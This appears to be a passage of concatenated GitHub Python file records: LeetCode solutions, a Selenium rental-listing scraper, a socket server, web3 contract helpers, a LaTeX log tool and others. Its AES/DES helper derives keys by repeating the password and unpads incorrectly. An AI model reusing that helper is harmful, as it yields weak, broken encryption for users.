pd.read_csv(\"rawdata.csv\")\r\nt_serie = data['Time (s)']\r\nx_serie = data['Rotation x (rad/s)']\r\n\r\n# Stocker les t lors d'un changement de signe de x\r\nl = []\r\n\r\nx1 = x_serie[0]\r\nfor x, t in zip(x_serie[1:], t_serie[1:]):\r\n if x*x1<0:\r\n l.append(t)\r\n x1 = x\r\n\r\nprint(\"instants de changement de signe de vitesse radiale\", l)\r\n\r\nprint(\"période moyenne\", (l[-1]-l[0])/(len(l)*2))\r\n\r\nt = range(len(l)//2-2)\r\nl1 = []\r\nfor i in t:\r\n l1.append(l[2*i+1]-l[2*i])\r\n\r\n# Évolution de la période au cours du temps\r\nplt.plot(t,l1)\r\n# plt.xlabal(\"temps (s)\")\r\n# plt.ylabel(\"Vz (rad/s\")\r\nplt.show()\r\n","repo_name":"MarcPartensky/Python-2020","sub_path":"Aide Sacha/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"1156976400","text":"#\n# @lc app=leetcode.cn id=2 lang=python3\n#\n# [2] 两数相加\n#\n# https://leetcode-cn.com/problems/add-two-numbers/description/\n#\n# algorithms\n# Medium (33.81%)\n# Total Accepted: 116.5K\n# Total Submissions: 344.6K\n# Testcase Example: '[2,4,3]\\n[5,6,4]'\n#\n# 给出两个 非空 的链表用来表示两个非负的整数。其中,它们各自的位数是按照 逆序 的方式存储的,并且它们的每个节点只能存储 一位 数字。\n#\n# 如果,我们将这两个数相加起来,则会返回一个新的链表来表示它们的和。\n#\n# 您可以假设除了数字 0 之外,这两个数都不会以 0 开头。\n#\n# 示例:\n#\n# 输入:(2 -> 4 -> 3) + (5 -> 6 -> 4)\n# 输出:7 -> 0 -> 8\n# 原因:342 + 465 = 807\n#\n#\n#\n# Definition for singly-linked list.\n# from typing import List\n\n\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# @staticmethod\n# def makeLinkedList(l: List[int]):\n# list_rear = None\n# list_head = None\n# for i in l:\n# temp_node = ListNode(i)\n\n# if list_head is None and list_rear is None:\n# list_head = temp_node\n# list_rear = temp_node\n# else:\n# list_rear.next = temp_node\n# list_rear = temp_node\n\n# return list_head\n\n\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n\n l1_item = l1\n l2_item = l2\n carry_item = None\n res_head = None\n res_rear = None\n while l1_item != None or l2_item != None or carry_item != None:\n temp_res, carry_item = self.carryAdd(l1_item, l2_item, carry_item)\n if res_head is None and res_rear is None:\n res_head = res_rear = temp_res\n else:\n res_rear.next = temp_res\n res_rear = temp_res\n\n if l1_item != None:\n l1_item = l1_item.next\n if l2_item != None:\n l2_item = l2_item.next\n\n return res_head\n\n def carryAdd(self, a: ListNode, b: ListNode, carry: ListNode) -> List[ListNode]:\n a_v, b_v, c_v = 0, 0, 0\n if a is not None:\n a_v = a.val\n if b is not None:\n b_v = b.val\n if carry is not None:\n c_v = carry.val\n\n tempSum = a_v + b_v + c_v\n tempVal = int(tempSum % 10)\n tempCarry = int(tempSum / 10)\n\n val = ListNode(tempVal)\n if tempCarry == 0:\n carry = None\n else:\n carry = ListNode(tempCarry)\n\n return [val, carry]\n\n# def walk(self, l: ListNode, inverse=True) -> list:\n# s = []\n# while l != None:\n# if inverse is False:\n# s.insert(0, l.val)\n# else:\n# s.append(l.val)\n# l = l.next\n\n# return s\n\n\n# if __name__ == \"__main__\":\n# s = Solution()\n\n# l1 = ListNode.makeLinkedList([5])\n# l2 = ListNode.makeLinkedList([5])\n\n# res = s.addTwoNumbers(l1, l2)\n\n# print(s.walk(l1))\n# print(s.walk(l2))\n# print(s.walk(res))\n\n # print(s.walk(l1,inverse=False))\n # print(s.walk(l2, inverse=False))\n # print(s.walk(res, inverse=False))\n","repo_name":"RogerYong/leetcode","sub_path":"算法/数学/2.两数相加.py","file_name":"2.两数相加.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26231461548","text":"\"\"\"\nRecieve Quandle Data from Start Date to End Date\n\"\"\"\nimport os\nimport datetime\nimport argparse\nimport quandl # type: ignore\n#from typing import Callable\n\ndef main():\n '''\n Application Entry Point\n '''\n parser = argparse.ArgumentParser(description='''Recieve Stock Information for given Stock Name.\n From a given start date to a given end date.\n ''')\n parser.add_argument('-n', '--name', dest='stock_name',\n type=str, help='Name of Stock', default=None)\n parser.add_argument('-s', '--startdate', dest='stock_startdate',\n type=str, help='Start Date for the Sock Info', default=None)\n parser.add_argument('-e', '--enddate', dest='stock_enddate',\n type=str, help='End Date for Stock Info', default=None)\n\n args = parser.parse_args()\n args = [arg for arg in vars(args) if getattr(args, arg) is not None]\n run(*args)\n\n#def call_default_func(function: Callable, args: str) -> None:\n # '''\n # Call the function will no args if args param contain None\n # '''\n # for arg, position in enumerate(vars(args)):\n # if arg is None:\n # delattr(args, arg)\n # print(\"*\"*20)\n # print(function(*args))\n # print(\"*\"*20)\n # function(*args)\n\ndef run(stock: str = 'EOD/AAPL', start_date: str = \"\", end_date: str = \"\") -> None:\n '''\n CLI EntryPoint\n '''\n old = 365*4\n\n start_date = validate_date(start_date, default=old+7)\n end_date = validate_date(end_date, default=old)\n try:\n quandl.ApiConfig.api_key = load_api_key()\n data = quandl.get(stock, start_date=start_date, end_date=end_date)\n print(data)\n return data\n except ValueError as run_exception:\n print(f\"{run_exception}\")\n return None\n\ndef validate_date(date: str = \"\", default: int = 0) -> str:\n '''\n Validate a datetime string\n '''\n if date == \"\":\n now = datetime.datetime.now()\n delta = datetime.timedelta(days=default)\n date = (now - delta).date().strftime(\"%Y-%m-%d\")\n return date\n\ndef load_api_key() -> str:\n '''\n Loads Quandl API key from environment variables\n '''\n quandl_api_key = os.environ.get('API_KEY', None)\n if quandl_api_key is None:\n raise ValueError(\"Value Error: (ENV_VAR) Missing API_KEY, Add Quandl API_KEY\")\n return quandl_api_key\n","repo_name":"GodsComma/Build_Systems","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"46557510582","text":"class Solution:\n def intToRoman(self, n: int) -> str:\n num = [1000,900,500,400,100,90,50,40,10,9,5,4,1]\n sym = [\"M\",\"CM\",\"D\",\"CD\",\"C\",\"XC\",\"L\",\"XL\",\"X\",\"IX\",\"V\",\"IV\",\"I\"]\n r=''\n while n:\n for i in range(len(num)):\n if n>=num[i]:\n r+=sym[i]\n n-=num[i]\n break\n return r","repo_name":"RedaZt/leetcode","sub_path":"Medium/12. Integer to Roman/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"69899496244","text":"def chunks(lst):\n for i in range(0,len(lst),3):\n yield lst[i:i+3]\n\n\nif __name__ == '__main__':\n lst = [1,2,3,4,5,6,7,8,9]\n chunks_results = chunks(lst)\n for chunk in chunks_results:\n chunk_list = list(chunk)\n print(chunk_list[::-1])","repo_name":"balachander712/Lab-Main","sub_path":"Sem4/Python/PS3/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73092575283","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom unidecode import unidecode\nfrom utils.DataBaseClass import DBMongo\nfrom tqdm import tqdm\n\nclass Divar():\n def __init__(self):\n self.url=\"https://divar.ir/s/tehran/rent-residential\"\n op = webdriver.ChromeOptions()\n op.add_argument('headless')\n s=Service('utils/chromedriver')\n self.driver1 = webdriver.Chrome(service=s,options=op)\n self.driver1.get(self.url)\n self.driver2 = webdriver.Chrome(service=s,options=op)\n\n\n self.check_urls = list()\n self.init_db()\n\n\n def get_floor(self, row):\n floor_all = row.find_elements(By.XPATH,value=\".//p[@class = 'kt-unexpandable-row__value']\")[0].text\n floor= floor_all.split(\"از\")[0].replace(\" \", \"\")\n if (floor == \"همکف\" ):\n floor = 0\n elif (floor == \"زیرهمکف\"):\n floor = -1\n else :\n floor = int(unidecode(floor))\n return floor\n\n def get_place(self):\n rows = self.driver2.find_elements(By.XPATH,value=\"//div[@class = 'kt-page-title__subtitle kt-page-title__subtitle--responsive-sized']\")\n text = rows[0].text\n sp = text.split('،')\n city = sp[0].split()[-1]\n region = sp[1].split(\"|\")[0]\n return city, region\n\n\n def get_time(self):\n base_decrease_time = -1\n value_decrease_time = -1\n rows = self.driver2.find_elements(By.XPATH,value=\"//div[@class = 'kt-page-title__subtitle kt-page-title__subtitle--responsive-sized']\")\n text = rows[0].text\n sp = text.split('پیش')\n time_text = sp[0].split()\n if len(time_text) == 1:\n if time_text[0] == \"دقایقی\" or time_text[0] == \"لحظاتی\":\n base_decrease_time = 0\n else:\n if time_text[0] == \"نیم\":\n value_decrease_time = 0.5\n if time_text[0] == \"یک\" or time_text[0] == \"۱\":\n value_decrease_time = 1\n if time_text[0] == \"۲\":\n value_decrease_time = 2\n if time_text[0] == \"۳\":\n value_decrease_time = 3\n if time_text[0] == \"۴\":\n value_decrease_time = 4\n if time_text[0] == \"۵\":\n value_decrease_time = 5\n if time_text[0] == \"۶\":\n value_decrease_time = 6\n if time_text[1] == \"ربع\":\n base_decrease_time = 15*60\n if time_text[1] == \"ساعت\":\n base_decrease_time = 60*60\n if time_text[1] == \"روز\":\n base_decrease_time = 24*60*60\n if time_text[1] == \"هفته\":\n base_decrease_time = 7*24*60*60\n return time.time() - value_decrease_time*base_decrease_time\n\n\n\n def get_deposit(self, row):\n deposit_all = row.find_elements(By.XPATH,value=\".//p[@class = 'kt-unexpandable-row__value']\")[0].text\n deposit= deposit_all.split(\" \")[0]\n if deposit == \"توافقی\":\n deposit = -100\n elif deposit == \"مجانی\":\n deposit = 0\n else :\n deposit = int(unidecode(deposit).replace(\",\",\"\"))//1000000\n return deposit\n\n\n def get_rent(self, row):\n rent_all = row.find_elements(By.XPATH,value=\".//p[@class = 'kt-unexpandable-row__value']\")[0].text\n rent= rent_all.split(\" \")[0]\n if rent == \"توافقی\":\n rent = -100\n elif rent == \"مجانی\":\n rent = 0\n else :\n rent = int(unidecode(rent).replace(\",\",\"\"))/float(1000000)\n return rent\n\n def get_one_home_info(self, url):\n rent = -100\n deposit = -100\n floor = -100\n self.driver2.get(url)\n rows = self.driver2.find_elements(By.XPATH,value=\"//div[@class = 'kt-base-row kt-base-row--large kt-unexpandable-row']\")\n for row in rows:\n row_name = row.find_elements(By.XPATH,value=\".//p[@class = 'kt-base-row__title kt-unexpandable-row__title']\")[0].text\n if row_name == \"طبقه\":\n floor = self.get_floor(row)\n if row_name == \"ودیعه\":\n deposit = self.get_deposit(row)\n if row_name == \"اجارهٔ ماهانه\":\n rent = self.get_rent(row)\n city, region = self.get_place()\n time = self.get_time()\n column = self.driver2.find_elements(By.XPATH,value=\"//span[@class = 'kt-group-row-item__value']\")\n property_col = self.driver2.find_elements(By.XPATH,value=\"//span[@class = 'kt-group-row-item__value kt-body kt-body--stable']\")\n elavator = 0 if property_col[0].text == \"آسانسور ندارد\" else 1\n parking = 0 if property_col[1].text == \"پارکینگ ندارد\" else 1\n Warehouse = 0 if property_col[2].text == \"انباری ندارد\" else 1\n area = int(unidecode(column[0].text))\n age = int(unidecode(column[1].text.split()[-1]))\n if(column[2].text == \"بدون اتاق\"):\n rooms = 0\n else:\n rooms = int(unidecode(column[2].text))\n self.save_to_db({'deposit' :deposit, 'rent' : rent, 'floor': floor, 'area': area, 'age' : age, 'rooms' : rooms,'elavator': elavator,'parking': parking,'Warehouse': Warehouse, 'time': time, 'city' :city, 'region' : region, 'url' : url})\n \n\n def check_duplicate(self,url):\n if url in self.check_urls:\n return True\n self.check_urls.append(url)\n return(False)\n def save_to_db(self,dic):\n self.db.InsertItem(dic)\n def init_db(self):\n self.db = DBMongo()\n def run(self):\n self.driver1.refresh()\n all_results1 =self.driver1.find_elements(By.XPATH,value=\"//div[@class = 'post-card-item kt-col-6 kt-col-xxl-4']\")\n all_results2 =self.driver1.find_elements(By.XPATH,value=\"//section[@class = 'post-card-item kt-col-6 kt-col-xxl-4']\")\n all_results3 =self.driver1.find_elements(By.XPATH,value=\"//div[@class = 'waf972 wbee95 we9d46']\")\n all_results = all_results1 if all_results1 != [] else all_results2 if all_results2 != [] else all_results3\n for i,result in tqdm(enumerate(all_results)):\n if all_results1 != []:\n href_class_1 = result.find_elements(By.XPATH,value=\"./a[@class = 'kt-post-card kt-post-card--outlined kt-post-card--padded kt-post-card--has-action']\")\n href_class_2 = result.find_elements(By.XPATH,value=\"./a[@class = 'kt-post-card kt-post-card--outlined kt-post-card--padded kt-post-card--has-action kt-post-card--has-chat']\")\n # href_class_1=all_results[i].find_elements(By.ID,value=all_results[i].id)\n href_class_3=result.find_elements(By.XPATH,value=\".//a\")\n address = href_class_1 if href_class_1 != [] else href_class_2\n address=address if address!=[] else href_class_3\n one_url = address[0].get_attribute('href')\n elif all_results2 != [] or all_results3 != []:\n address = result.find_elements(By.XPATH,value=\".//a\")\n one_url = address[0].get_attribute('href')\n if (not self.check_duplicate(one_url)):\n self.get_one_home_info(one_url)\n\n \n\nif __name__ == \"__main__\":\n divar = Divar()\n while True:\n try:\n divar.run()\n time.sleep(60)\n except Exception as e:\n print(e)\n divar = Divar()\n \n\n","repo_name":"Hparvaresh/Divar-scraper","sub_path":"fetch_divar_selenium.py","file_name":"fetch_divar_selenium.py","file_ext":"py","file_size_in_byte":7566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32820207818","text":"# DFS\nimport sys\nfrom collections import defaultdict, deque\nsys.stdin = open('input.txt')\nN, M, V = map(int, sys.stdin.readline().split())\nstack = []\ngraph = defaultdict(list)\nfor _ in range(M):\n x, y = map(int, sys.stdin.readline().split())\n graph[x].append(y)\n graph[y].append(x)\n\nfor i in graph:\n graph[i].sort()\n\ndef dfs(graph, v, visited):\n print(v, end=' ')\n visited[v] = True\n\n for i in graph[v]:\n if not visited[i]:\n dfs(graph, i, visited)\n\ndef bfs(graph, start, visited):\n queue = deque([start])\n visited[start] = True\n while queue:\n v = queue.popleft()\n print(v, end=' ')\n visited[v] = True\n for i in graph[v]:\n if not visited[i]:\n queue.append(i)\n visited[i] = True\n\nvisited = [False] * (N+1)\ndfs(graph, V, visited)\nprint()\nvisited = [False] * (N+1)\nbfs(graph, V, visited)","repo_name":"wnsrb003/SW_JUNGLE","sub_path":"codingtest/week3/2번째/1260.py","file_name":"1260.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73215986801","text":"from Crypto.Cipher import AES, DES\r\nfrom Crypto.Util.Padding import pad, unpad\r\nimport binascii\r\n\r\nclass SymEncryption:\r\n\r\n @classmethod\r\n def encrypt(self, algo, mdp, message):\r\n message = str.encode(message)\r\n mdp = str.encode(mdp)\r\n\r\n # use random intervals\r\n if algo == \"aes128\":\r\n while len(mdp) < 16:\r\n mdp = mdp + mdp\r\n \r\n mdp = mdp[:16]\r\n aes = AES.new(mdp, AES.MODE_CBC)\r\n\r\n encrypted = aes.encrypt(pad(message, 16))\r\n\r\n return binascii.hexlify(b\"0\" + aes.iv + encrypted).decode(\"utf-8\")\r\n elif algo == \"aes256\":\r\n while len(mdp) < 32:\r\n mdp = mdp + mdp\r\n\r\n mdp = mdp[:32]\r\n aes = AES.new(mdp, AES.MODE_CBC)\r\n\r\n encrypted = aes.encrypt(pad(message, 32))\r\n\r\n return binascii.hexlify(b\"1\" + aes.iv + encrypted).decode(\"utf-8\")\r\n elif algo == \"des\":\r\n while len(mdp) < 8:\r\n mdp = mdp + mdp\r\n\r\n mdp = mdp[:8]\r\n\r\n des = DES.new(mdp, DES.MODE_CBC)\r\n encrypted = des.encrypt(pad(message, 8))\r\n\r\n return binascii.hexlify(b\"2\" + des.iv + encrypted).decode(\"utf-8\")\r\n\r\n @classmethod\r\n def decrypt(self, mdp, enc_message):\r\n enc_message = binascii.unhexlify(enc_message.encode(\"utf-8\"))\r\n algo = \"\"\r\n iv = b\"\"\r\n if enc_message[0] == ord(b\"0\"):\r\n algo = \"aes128\"\r\n iv = enc_message[1:17]\r\n enc_message = enc_message[17:]\r\n elif enc_message[0] == ord(b\"1\"):\r\n algo = \"aes256\"\r\n iv = enc_message[1:17]\r\n enc_message = enc_message[17:]\r\n elif enc_message[0] == ord(b\"2\"):\r\n iv = enc_message[1:9]\r\n enc_message = enc_message[9:]\r\n algo = \"des\"\r\n\r\n mdp = str.encode(mdp)\r\n\r\n if algo == \"aes128\":\r\n while len(mdp) < 16:\r\n mdp = mdp + mdp\r\n\r\n mdp = mdp[:16]\r\n\r\n aes = AES.new(mdp, AES.MODE_CBC, iv=iv)\r\n message = aes.decrypt(enc_message)\r\n return (\"aes128\", message.strip(b\"\\x0b\").decode(\"utf-8\"))\r\n\r\n elif algo == \"aes256\":\r\n while len(mdp) < 32:\r\n mdp = mdp + mdp\r\n\r\n mdp = mdp[:32]\r\n\r\n aes = AES.new(mdp, AES.MODE_CBC, iv=iv)\r\n message = aes.decrypt(enc_message)\r\n\r\n return (\"aes256\", message.strip(b\"\\x0b\").decode(\"utf-8\"))\r\n elif algo == \"des\":\r\n while len(mdp) < 8:\r\n mdp = mdp + mdp\r\n\r\n mdp = mdp[:8]\r\n\r\n des = DES.new(mdp, DES.MODE_CBC, iv=iv)\r\n message = des.decrypt(enc_message)\r\n\r\n return (\"des\", message.strip(b\"\\x0b\").decode(\"utf-8\"))\r\n else:\r\n return (None, None)\r\n","repo_name":"aymenletifi/Security-box","sub_path":"sym_encryption.py","file_name":"sym_encryption.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39534907659","text":"import cv2 as cv\nfrom rescale import *\n#git init git add main.py git commit -m \"\" git push origin main\nimg = cv.imread('Photos/london.jpg') \nscaled = rescaleFrame(img, 0.75)\ncv.imshow('London', scaled)\n\n# Convert to grayscale\ngray = cv.cvtColor(scaled, cv.COLOR_BGR2GRAY) \n#cv.imshow('Gray', gray)\n\n# Blur, increase (n,n) for more blur, n must be odd\nblur = cv.GaussianBlur(scaled,(3,3), cv.BORDER_DEFAULT) \n#cv.imshow('Blur', blur)\n\n# Edge Cascade, use blur>scaled to reduce edges\ncanny = cv.Canny(scaled, 125, 175)\n#cv.imshow('Canny Edges', canny)\n\n# Dilating(smooth/round edges) the image \ndilated = cv.dilate(canny, (3,3), iterations=1)\n#cv.imshow('Dilated', dilated)\n\n# Eroding(anti-dilate)\neroded = cv.erode(dilated, (3,3), iterations=1)\n#cv.imshow('Eroded', eroded)\n\n# Resize \n'''\nResize function has a third arg interpolation=cv.INTER_AREA by default\nuse cv.INTER_AREA for downscaling, _LINEAR for upscaling, _CUBIC for high quality\n'''\nresized = cv.resize(scaled, (500,500))\n#cv.imshow('Resized', resized)\n\n# Cropping, images are arrays so array slice\ncropped = scaled[50:200,200:400]\n#cv.imshow('Cropped', cropped)\n\ncv.waitKey(0) ","repo_name":"30912hyl/TrafficOpenCV","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23923016600","text":"import socket\nimport threading\nfrom server_api import ClientSession\n\n\n# принимает запросы от клиента и отвечает на них на server_api\nclass Server:\n def __init__(self, ip='127.0.0.1', port=12345):\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server.bind((ip, port))\n self.server.listen(5)\n print(f'[+] Сервер запущен.')\n\n def start_working(self):\n print(f'[+] Ожидается подключение.')\n while True:\n client_socket, addr = self.server.accept()\n print(f'[+] Новое подключение к серверу. {addr}')\n thread = threading.Thread(target=self.client_handler, args=(client_socket, addr))\n thread.start()\n\n @staticmethod\n def client_handler(client_socket, addr):\n client_session = ClientSession()\n while True:\n try:\n data = client_socket.recv(1024).decode('utf-8') # сообщение от клиента\n if not data:\n break\n # print(data)\n server_answer = client_session.message_handle(data)\n client_socket.send(f\"{server_answer}\".encode('utf-8'))\n\n except Exception as e:\n print(f\"[ERROR] {e}\")\n break\n\n print(f\"[+] {addr} отлючился от сервера.\")\n client_socket.close()\n\n\nif __name__ == \"__main__\":\n server = Server()\n server.start_working()\n\n","repo_name":"Ser4ey/FEFU_project2","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2173107609","text":"from web3 import Web3,eth\n\nfrom solcx import compile_source\n\nimport datetime\n\nfrom loadonce import loadonce\nfrom getaccount import getaccount\n\ndef get_abi(fn):\n with open(fn,\"r\") as f:\n q=f.read()\n ret=compile_source(q)\n return ret.popitem()[1][\"abi\"]\n@loadonce(\"page\")\ndef abi_page():\n return get_abi(\"../sol/contracts/Page.sol\")\n@loadonce(\"lookup\")\ndef abi_lookup():\n return get_abi(\"../sol/contracts/Lookup.sol\")\n@loadonce(\"provider\")\ndef provider():\n w3= Web3(Web3.HTTPProvider('https://kovan.infura.io/v3/c83277c8952e4e1280aa1a853fb18fcf'))\n w3.eth.defaultAccount=acc()\n \n return w3\ndef checksum(address):\n return Web3.toChecksumAddress(address)\ndef getcontract(w3,address,abi):\n return w3.eth.contract(address=address,abi=abi)\ndef loadaddress(address):\n w3=provider()\n abi=abi_page()\n address=checksum(address)\n c=getcontract(w3,address,abi)\n\n content=c.functions.content().call()\n\n return content.decode(\"utf-8\")\n\ndef lookup(what):\n w3=provider()\n abi=abi_lookup()\n address=\"0xc840089FfA04400F4220eE07Aa5B7cD237aDeE04\"#\"0x247643ee2e8C6d4b40013245Bf7939d40E3C396e\"\n address=checksum(address)\n c=getcontract(w3,address,abi)\n\n\n\n reg=c.functions.register(what.encode(\"utf-8\")).call()\n\n return reg#content.decode(\"utf-8\")\n\ndef load(q):\n if len(q)>2:\n if q[:2]==\"0x\":\n return loadaddress(q)\n return loadaddress(lookup(q))\n\ndef getbalance(address):\n w3=provider()\n address=checksum(address)\n return w3.eth.getBalance(address)\n\n#def transfer()\n\n@loadonce(\"account\")\ndef acc():\n return getaccount()\n\ndef tip(address,amount):\n w3=provider()\n abi=abi_page()\n address=checksum(address)\n c=getcontract(w3,address,abi)\n\n\n\n reg=c.functions.tip().transact({\"value\":amount,\"from\":acc().address})\n\n return reg#content.decode(\"utf-8\")\n\n\n\n\n\nif __name__=='__main__':\n #print(acc())\n #exit()\n #print(lookup(\"test\"))\n #print(loadaddress(\"0x33b0cd164decc76a20cf9080e06c52e5cd7a030e\"))\n #print(getbalance(\"0x33b0cd164decc76a20cf9080e06c52e5cd7a030e\"))\n print(getbalance(\"0x33b0cd164decc76a20cf9080e06c52e5cd7a030e\"))\n print(tip(\"0x33b0cd164decc76a20cf9080e06c52e5cd7a030e\",100))\n print(getbalance(\"0x33b0cd164decc76a20cf9080e06c52e5cd7a030e\"))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"psorus/crypto","sub_path":"cweb/py/advload.py","file_name":"advload.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43475289602","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Created by Charles on 2018/6/20\r\n# Function: A simple example for using init_log_config()\r\n\r\nfrom log_config import init_log_config\r\nimport logging\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef produce_log():\r\n init_log_config(file_prefix=\"project_name\")\r\n logger.debug(\"this is a message of debug level.\")\r\n logger.info(\"this is a message of info level.\")\r\n logger.warning(\"this is a message of info level.\")\r\n logger.error(\"this is a message of error level.\")\r\n\r\n\r\nproduce_log()\r\n","repo_name":"amazingcoder666/log_config","sub_path":"log_config/run_log_config.py","file_name":"run_log_config.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"35676761781","text":"from brownie import Lottery, accounts, config, network\nfrom web3 import Web3\n\n\ndef test_get_entrance_fee():\n account = accounts[0]\n price_feed_contract_address = config[\"networks\"][network.show_active()][\n \"eth_usd_price_feed\"\n ]\n lottery = Lottery.deploy(\n price_feed_contract_address,\n {\"from\": account},\n )\n # @note: We need to pull this data from an external api\n assert lottery.getEntranceFee() > Web3.toWei(0.014, \"ether\")\n assert lottery.getEntranceFee() < Web3.toWei(0.1, \"ether\")\n","repo_name":"MattiaFailla/solidity-lottery","sub_path":"tests/test_lottery.py","file_name":"test_lottery.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19221948470","text":"import numpy as np\nimport log_utils as utils\nfrom datetime import date, time \nimport latex_stuff\nimport os\nimport sys\n\nlogdir = latex_stuff.logdir\nphdtex = latex_stuff.phdtex\nphddvi = latex_stuff.phddvi\ntaskpath = latex_stuff.taskpath\n\n#Call me Ishmael\noption = str(sys.argv[1])\n\nif(option=='quicklog'):\n with open(phdtex) as f:\n read_data = f.readlines()\n\n end_document = read_data[-1]\n\n today = str(date.today())\n\n print('Entry title')\n header = input()\n\n title = ':'.join([today,header])\n section_title = '\\section{'+title+'}\\n'\n\n document = read_data[:-1]\n\n print('Log:\\n')\n log = input()\n\n document.append(section_title)\n document.append(log)\n document.append('\\n')\n document.append(end_document)\n\n with open(phdtex, 'w') as f:\n for line in document:\n f.write(line)\n\n utils.log_utils.compile_log()\n utils.log_utils.send_to_Suttree()\n print('Log added.')\n\nelif(option=='tasks'):\n latex_stuff.filter_out_tasklist()\n latex_stuff.add_tasks()\n latex_stuff.add_tasklist_to_tex()\n utils.log_utils.compile_log()\n utils.log_utils.send_to_Suttree()\n print('Successfully added tasks.')\n\nelif(option=='task'):\n latex_stuff.filter_out_tasklist()\n latex_stuff.add_task()\n latex_stuff.add_tasklist_to_tex()\n utils.log_utils.compile_log()\n utils.log_utils.send_to_Suttree()\n print('Successfully added task.')\n\nelif(option=='newlog'):\n print('Enter new log name')\n #Verify that new log is uniquely named\n logname = str(input())\n print('Enter Author name')\n author = str(input())\n lg = utils.log(logname, author)\n\nelif(option=='compile'):\n utils.log_utils.compile_log()\n\nelif(option=='clean'):\n utils.log_utils.clean_files()\n\nelif(option=='read'):\n utils.log_utils.read_log()\n\nelif(option == 'rc'):\n utils.log_utils.compile_log()\n utils.log_utils.read_log()\n\nelif(option == 'hark'):\n latex_stuff.list_tasks()\n\nelif (option=='log'):\n os.system('vi '+utils.log_utils.logpath)\n\nelif (option == 'filter'):\n latex_stuff.filter_out_tasklist()\n\nelif (option == 'completed'):\n if (len(sys.argv) > 2):\n task = int(sys.argv[2])\n latex_stuff.remove_task(task)\n utils.log_utils.compile_log()\n utils.log_utils.send_to_Suttree()\n\nelif (option == 'update_tasks'):\n latex_stuff.refresh_tasklist()\n\n utils.log_utils.compile_log()\n utils.log_utils.send_to_Suttree()\n\n################################################################################################################\nif (len(sys.argv) > 2):\n read_ye = sys.argv[2]\nelse:\n read_ye = 'noshow'\n\nif (read_ye == 'show'):\n utils.log_utils.read_log()\n\n","repo_name":"moorma11/Loomings","sub_path":"utilities/loomings.py","file_name":"loomings.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19665007535","text":"import sqlite3\nimport json\nimport re\nclass database():\n\n conn = sqlite3.connect('rasa.db')\n print(\"Opened database successfully\")\n cursor = conn.cursor()\n\n\n # Display columns\nprint('\\nColumns in events table:')\ndata = database.cursor.execute('''SELECT * FROM events''')\nfor column in data.description:\n print(column[0])\n\nprint('\\nEntire Quiery :')\ntext1 = database.cursor.execute('''SELECT data FROM events where data like \"%I am going to%\" order by timestamp desc limit 1''')\nfor row in text1:\n str = ''.join(row)\ndetails_dict = json.loads(str)\n# print(row)\nprint(details_dict.get('text'))\ns = details_dict.get('text')\n\nstart = 'Field_names as:'\nend = 'and Field_Xpaths as:'\nprint(\"*** field names are ***\")\nfieldnames = s[s.find(start) + len(start):s.rfind(end)]\nprint(fieldnames)\n\nstartXpaths = 'Field_Xpaths as:'\nendXpaths = 'and Fields_Max_Size as:'\nprint(\"*** field xpaths are ***\")\nfieldxpaths = s[s.find(startXpaths) + len(startXpaths):s.rfind(endXpaths)]\nprint(fieldxpaths)\n\nstartMax_Size = 'Fields_Max_Size as:'\nendMax_Size = 'and Fields_Min_size as:'\nprint(\"*** field max sizes are ***\")\nfieldMax_Size = s[s.find(startMax_Size) + len(startMax_Size):s.rfind(endMax_Size)]\nprint(fieldMax_Size)\n\nstartMin_Size = 'Fields_Min_size as:'\nendMin_Size = 'and Fields_Allowable_datatypes as:'\nprint(\"*** field min sizes are ***\")\nfieldMin_Size = s[s.find(startMin_Size) + len(startMin_Size):s.rfind(endMin_Size)]\nprint(fieldMin_Size)\n\nstartAllowable_datatypes = 'Fields_Allowable_datatypes as:'\nendAllowable_datatypes = 'and Fields-Non-Allowable_datatypes as:'\nprint(\"*** field Allowable data types ***\")\nfieldAllowable_datatypes = s[s.find(startAllowable_datatypes) + 